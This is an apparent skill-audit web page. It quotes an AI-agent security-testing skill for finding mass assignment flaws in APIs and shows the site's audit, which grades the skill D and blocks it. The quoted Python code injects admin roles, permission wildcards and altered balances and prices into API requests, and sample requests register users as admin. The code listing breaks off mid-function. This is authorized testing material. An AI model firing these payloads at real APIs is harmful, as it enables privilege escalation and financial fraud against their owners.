Testing Api For Mass Assignment VulnerabilityBLOCK
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Overview
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
6c59587be632OBSERVED · 2026-10-07What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
---
name: testing-api-for-mass-assignment-vulnerability
description: 'Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying
writable endpoints, adding undocumented fields to request bodies (role, isAdmin,
price, balance), and checking whether the server binds them to the data model without
filtering. Use when testing an API for mass assignment, parameter binding abuse,
or over-posting on profile, registration, or object-creation endpoints.
'
domain: cybersecurity
subdomain: api-security
tags:
- api-security
- owasp
- mass-assignment
- auto-binding
- parameter-tampering
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1552.001
- T0816
- T0836
---
# Testing API for Mass Assignment Vulnerability
## When to Use
- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role
**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
## Prerequisites
- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with `requests` library
- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
## Workflow
### Step 1: Identify Writable Endpoints and Expected Parameters
```python
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
```
### Step 2: Inject Privileged Fields
```python
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (5)
**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters t
1. Register a new user with only expected fields: `POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"}` - returns user with `role: "user"`2. Register another user with injected role: `POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"}` - returns user with `role: "admin"`{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}| Admin flags | isAdmin, is_superuser | Full privileges |
Gates applied: critical_finding, no_behavioural_pass, undeclared_transfer.
6c59587be632full audit observations/trust-audit/skill/mukul975__testing-api-for-mass-assignment-vulnerability.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-07 | 6c59587be632 | BLOCK | D | 69 | first audit |
Questions
What does the Testing Api For Mass Assignment Vulnerability skill do?
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Is Testing Api For Mass Assignment Vulnerability safe to install?
No — not without reading the findings first. The audit graded it D (69/100) and found 4 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What can Testing Api For Mass Assignment Vulnerability access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
How current is this page?
The grade is for one exact copy of the source (6c59587be632), read on 2026-10-07. The repository is watched, and a new audit runs when it changes — this is the first audit.